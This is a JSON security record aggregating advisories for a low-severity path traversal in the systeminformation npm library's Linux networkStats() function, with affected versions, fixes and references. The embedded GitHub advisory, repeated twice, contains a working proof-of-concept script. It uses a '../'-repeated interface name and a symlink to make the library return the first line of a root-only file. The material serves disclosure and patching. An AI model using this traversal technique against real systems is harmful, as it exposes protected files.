{"id":"CVE-2026-116673","aliases":["CLSA-2026-1793698099","DEBIAN-CVE-2026-116673","EUVD-2026-111101","GHSA-4vjg-vx72-qq4g","UBUNTU-CVE-2026-116673"],"status":"published","title":"systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net","description":"systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.","severity":{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00127,"percentile":0.02416,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-59"],"published":"2026-10-27T16:38:15Z","modified":"2026-11-03T13:30:04Z","fixes":[{"ecosystem":"npm","package":"systeminformation","fixed_in":["5.33.14"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.33.14"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.23.8-tuxcare.0"},{"fixed":"5.23.8-tuxcare.3"}]}],"versions":["5.23.8","5.23.8-tuxcare.1","5.23.8-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"Debian:14","package":"node-systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.31.6-1","5.31.6-2","5.31.6-3","5.31.6-4","5.31.7-1"]},{"source":"osv","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.33.14"}]}]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.31.6-4","5.31.7-1"]}],"products":[{"vendor":"sebhildebrandt","product":"systeminformation"}],"references":[{"url":"https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116673","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4vjg-vx72-qq4g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116673.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-116673","tags":["advisory"]},{"url":"https://github.com/sebhildebrandt/systeminformation","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-116673","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-116673","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-116673","title":"systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net","description":"systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.","status":"published","published":"2026-10-27T16:38:15.558Z","modified":"2026-10-28T16:15:47.864Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:20:03.827373Z"}],"euvd":[{"id":"EUVD-2026-111101","description":"systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.","status":"published","published":"2026-10-27T16:38:15Z","modified":"2026-10-28T16:15:47Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T16:59:20.41252Z"}],"ghsa":[{"id":"GHSA-4vjg-vx72-qq4g","title":"systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net","description":"### Summary\n\nOn Linux, `systeminformation@5.33.13` builds `/sys/class/net/\u003ciface\u003e` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.\n\n### Details\n\nThe strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync('/sys/class/net/' + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.\n\nThe proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.\n\n### PoC\n\nUse a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:\n\n```sh\nmkdir si-netstats-repro\ncd si-netstats-repro\nnpm init -y\nnpm install systeminformation@5.33.13\n```\n\nSave the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:\n\n```js\n'use strict';\n\nconst fs = require('node:fs');\nconst { execFileSync } = require('node:child_process');\nconst si = require('systeminformation');\n\nconst root = `/tmp/si-netstats-${process.pid}`;\nconst secret = `/root/si-netstats-secret-${process.pid}`;\nconst marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;\nconst fixtureCode = `\n  const fs = require('node:fs');\n  const root = process.env.SI_FIXTURE_ROOT;\n  const secret = process.env.SI_SECRET;\n  fs.mkdirSync(root + '/statistics', { recursive: true });\n  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {\n    fs.writeFileSync(root + '/statistics/' + name, '0\\\\n');\n  }\n  fs.symlinkSync(secret, root + '/operstate');\n`;\n\n(async () =\u003e {\n  try {\n    fs.writeFileSync(secret, marker + '\\\\n', { mode: 0o600 });\n    fs.chmodSync(secret, 0o600);\n\n    execFileSync('runuser', [\n      '-u', 'nobody', '--', 'env',\n      `SI_FIXTURE_ROOT=${root}`,\n      `SI_SECRET=${secret}`,\n      process.execPath, '-e', fixtureCode\n    ], { stdio: 'inherit' });\n\n    let nobodyCouldRead = true;\n    try {\n      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });\n    } catch {\n      nobodyCouldRead = false;\n    }\n    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');\n\n    const iface = '../'.repeat(24) + root.slice(1);\n    const rows = await si.networkStats(iface);\n    const returned = String(rows[0]?.operstate ?? '').trim();\n    const success = returned === marker;\n\n    console.log(JSON.stringify({\n      nobodyCouldRead,\n      libraryReturnedRootOnlyMarker: success,\n      returnedOperstate: returned\n    }, null, 2));\n\n    if (!success) process.exitCode = 1;\n  } finally {\n    fs.rmSync(root, { recursive: true, force: true });\n    fs.rmSync(secret, { force: true });\n  }\n})().catch((error) =\u003e {\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nExpected result:\n\n```json\n{\n  \"nobodyCouldRead\": false,\n  \"libraryReturnedRootOnlyMarker\": true,\n  \"returnedOperstate\": \"SYNTHETIC_ROOT_ONLY_MARKER_\u003cpid\u003e\"\n}\n```\n\n### Impact\n\nThe demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.","status":"published","published":"2026-10-28T21:13:50Z","modified":"2026-10-28T21:13:51Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:41:39.926569Z"}],"nvd":[{"id":"CVE-2026-116673","description":"systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.","status":"published","published":"2026-10-27T17:16:59.297Z","modified":"2026-10-28T17:18:00.843Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:13:04.037468Z"}],"osv":[{"id":"CVE-2026-116673","title":"systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net","description":"systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.","status":"published","published":"2026-10-27T16:38:15.558Z","modified":"2026-10-30T02:31:00.753569475Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:44:56.675758Z"},{"id":"DEBIAN-CVE-2026-116673","description":"systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.","status":"published","published":"2026-10-27T17:16:59.297Z","modified":"2026-10-29T09:47:29.945556617Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T15:45:50.923612Z"},{"id":"GHSA-4vjg-vx72-qq4g","title":"systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net","description":"### Summary\n\nOn Linux, `systeminformation@5.33.13` builds `/sys/class/net/\u003ciface\u003e` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.\n\n### Details\n\nThe strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync('/sys/class/net/' + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.\n\nThe proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.\n\n### PoC\n\nUse a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:\n\n```sh\nmkdir si-netstats-repro\ncd si-netstats-repro\nnpm init -y\nnpm install systeminformation@5.33.13\n```\n\nSave the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:\n\n```js\n'use strict';\n\nconst fs = require('node:fs');\nconst { execFileSync } = require('node:child_process');\nconst si = require('systeminformation');\n\nconst root = `/tmp/si-netstats-${process.pid}`;\nconst secret = `/root/si-netstats-secret-${process.pid}`;\nconst marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;\nconst fixtureCode = `\n  const fs = require('node:fs');\n  const root = process.env.SI_FIXTURE_ROOT;\n  const secret = process.env.SI_SECRET;\n  fs.mkdirSync(root + '/statistics', { recursive: true });\n  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {\n    fs.writeFileSync(root + '/statistics/' + name, '0\\\\n');\n  }\n  fs.symlinkSync(secret, root + '/operstate');\n`;\n\n(async () =\u003e {\n  try {\n    fs.writeFileSync(secret, marker + '\\\\n', { mode: 0o600 });\n    fs.chmodSync(secret, 0o600);\n\n    execFileSync('runuser', [\n      '-u', 'nobody', '--', 'env',\n      `SI_FIXTURE_ROOT=${root}`,\n      `SI_SECRET=${secret}`,\n      process.execPath, '-e', fixtureCode\n    ], { stdio: 'inherit' });\n\n    let nobodyCouldRead = true;\n    try {\n      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });\n    } catch {\n      nobodyCouldRead = false;\n    }\n    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');\n\n    const iface = '../'.repeat(24) + root.slice(1);\n    const rows = await si.networkStats(iface);\n    const returned = String(rows[0]?.operstate ?? '').trim();\n    const success = returned === marker;\n\n    console.log(JSON.stringify({\n      nobodyCouldRead,\n      libraryReturnedRootOnlyMarker: success,\n      returnedOperstate: returned\n    }, null, 2));\n\n    if (!success) process.exitCode = 1;\n  } finally {\n    fs.rmSync(root, { recursive: true, force: true });\n    fs.rmSync(secret, { force: true });\n  }\n})().catch((error) =\u003e {\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nExpected result:\n\n```json\n{\n  \"nobodyCouldRead\": false,\n  \"libraryReturnedRootOnlyMarker\": true,\n  \"returnedOperstate\": \"SYNTHETIC_ROOT_ONLY_MARKER_\u003cpid\u003e\"\n}\n```\n\n### Impact\n\nThe demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.","status":"published","published":"2026-10-28T21:13:50Z","modified":"2026-10-28T21:30:05.793647178Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:37.528068Z"},{"id":"UBUNTU-CVE-2026-116673","description":"systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.","status":"published","published":"2026-10-27T17:16:00Z","modified":"2026-10-28T20:17:45.707826829Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T16:56:00.081948Z"},{"id":"CLSA-2026-1793698099","title":"TuxCare security update for systeminformation (2 CVEs)","description":"TuxCare rebuilt systeminformation to address 2 CVEs. Fixed in 5.23.8-tuxcare.3.","status":"published","published":"2026-11-03T10:28:20Z","modified":"2026-11-03T13:30:04.022827898Z","updated_at":"2026-11-03T14:04:50.729288Z"}]}}
